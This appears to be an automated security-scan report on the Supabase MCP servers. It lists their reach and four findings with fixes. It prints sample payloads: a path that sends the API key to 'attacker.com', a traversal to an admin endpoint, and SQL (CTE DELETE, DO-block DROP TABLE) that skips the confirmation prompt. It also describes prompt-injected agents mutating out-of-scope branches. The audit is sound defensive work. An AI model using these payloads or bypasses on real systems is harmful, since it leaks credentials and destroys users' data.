← MCP server and skill grades

mcp

supabase/mcp

C
Type
MCP server
Scanned
Nov 13, 2026
Version
23f0df0ff598
Files read
170

This project provides official Model Context Protocol (MCP) servers that connect AI assistants to Supabase projects and PostgREST APIs to run queries, manage database schemas and branches, deploy Edge Functions, and inspect logs. The biggest risk is that prompt injection in untrusted content can trick the AI into exploiting a URL-parsing flaw in the PostgREST server to leak its API key or escape its base path, or into modifying database branches outside a configured project scope in the Supabase server.

What it can reach

Secrets
Reads SUPABASE_ACCESS_TOKEN (or the --access-token flag and HTTP Authorization bearer token) for Supabase Management API access, and reads the optional --apiKey flag in the PostgREST MCP server.
Network
Sends HTTPS/HTTP requests to the Supabase Management API, the Supabase documentation GraphQL endpoint, the Supabase feedback service, and configured PostgREST servers; when started with --http, listens on 127.0.0.1:3111 (or a custom --port).
Browser
When secret collection is enabled (such as in --http mode) and the MCP client supports URL elicitation, asks the client to open a Supabase dashboard link in the user's browser to store Edge Function secrets.
Other
Reads and modifies resources in the user's Supabase account allowed by the access token, including executing SQL and migrations, creating or pausing projects, managing preview branches, deploying Edge Functions, reading logs and publishable API keys, updating storage settings, and managing notebooks.

Findings

1 high1 medium2 low
  1. HighURL normalization bypass in postgrestRequest enables API key leakage and base-path escape

    packages/mcp-server-postgrest/src/server.ts:80

    The postgrestRequest tool tries to normalize the caller-supplied path by running new URL(path, 'http://mock/') and appending pathname and search directly to apiUrl. If a prompt-injected AI passes a path starting with a non-special URL scheme (such as 'a:.attacker.com/collect' or 'a:b/../../../auth/v1/admin/users'), WHATWG URL parsing ignores the 'http://mock/' base and returns an opaque pathname that has no leading slash and keeps '..' segments intact. When apiUrl has no path component (common for standalone PostgREST servers like 'https://db.example.com'), '${apiUrl}${normalizedPath}' becomes 'https://db.example.com.attacker.com/collect' and sends the configured apiKey and Bearer token headers to an attacker-controlled domain; when apiUrl ends in '/rest/v1' on Supabase, '..' segments traverse out of PostgREST to reach sibling endpoints such as '/auth/v1/admin/users' or '/storage/v1/' with the configured key.

    Fix: Reject any path that does not start with '/' or starts with '//', parse it only after confirming no URL scheme is present, join against ensureTrailingSlash(apiUrl), and verify that the final URL keeps the same origin and base pathname prefix as apiUrl.

  2. MediumServer instructions tell local coding agents to run an unpinned npx install command

    packages/mcp-server-supabase/src/server.ts:175

    On every connection, including in read-only mode, the MCP server sends built-in instructions that MCP clients add to the AI model's system prompt. Those instructions tell any agent with filesystem and shell access to run 'npx skills add supabase/agent-skills' without requiring user confirmation or waiting for the user to ask for it. If the user's coding agent auto-approves shell commands (or the user approves the prompt assuming the MCP server requires it), npx downloads and executes the latest unpinned version of the third-party 'skills' npm package and fetches unpinned files from GitHub at runtime.

    Fix: Remove the unprompted shell installation command from the MCP server instructions, or change it to advise suggesting the documentation link to the user rather than instructing the agent to run npx directly, and pin any recommended package and repository revision.

  3. LowBranch mutation tools bypass --project-ref project scoping

    packages/mcp-server-supabase/src/tools/branching-tools.ts:337

    When a user restricts the Supabase MCP server to a single project with --project-ref (or project_ref in HTTP mode) while using a personal access token or organization-wide token, list_branches and create_branch lock their project_id parameter to that project, and account-wide tools are disabled. However, delete_branch, merge_branch, reset_branch, and rebase_branch accept any branch_id (which the Management API accepts as either a branch UUID or a 20-character branch project_ref) and call /v1/branches/{branch_id_or_ref} without checking that the branch belongs to the scoped project. A prompt-injected agent can therefore delete, reset, rebase, or merge branches into production on other projects in the user's account, or call merge_branch when --project-ref was pointed at a preview branch to isolate production.

    Fix: When projectId is configured, call branching.listBranches(projectId) before running delete_branch, merge_branch, reset_branch, or rebase_branch, and reject the request unless branch_id matches a non-default branch whose parent_project_ref equals projectId.

  4. LowDestructive SQL confirmation check can be bypassed with CTEs, MERGE, or DO blocks

    packages/mcp-server-supabase/src/tools/destructive-sql.ts:71

    When destructive-SQL form confirmation is enabled (on by default in --http mode for form-capable clients), execute_sql and apply_migration inspect the SQL string with isDestructiveSql before prompting the user. Because checkDestructiveQuery only checks for DROP, DELETE, or TRUNCATE at the start of each semicolon-delimited segment and isUpdateWithoutWhere only checks statements starting with UPDATE, destructive statements wrapped in a data-modifying CTE (such as 'WITH d AS (DELETE FROM users) SELECT 1;'), a MERGE statement with DELETE, or a DO block with no semicolon before the first statement ('DO $$ BEGIN DROP TABLE users; END $$;') return false and run without showing the confirmation prompt.

    Fix: Extend isDestructiveSql to inspect CTE bodies (matching the WITH check already used in notebook-tools.ts), MERGE clauses, and statements immediately following BEGIN inside DO or routine bodies.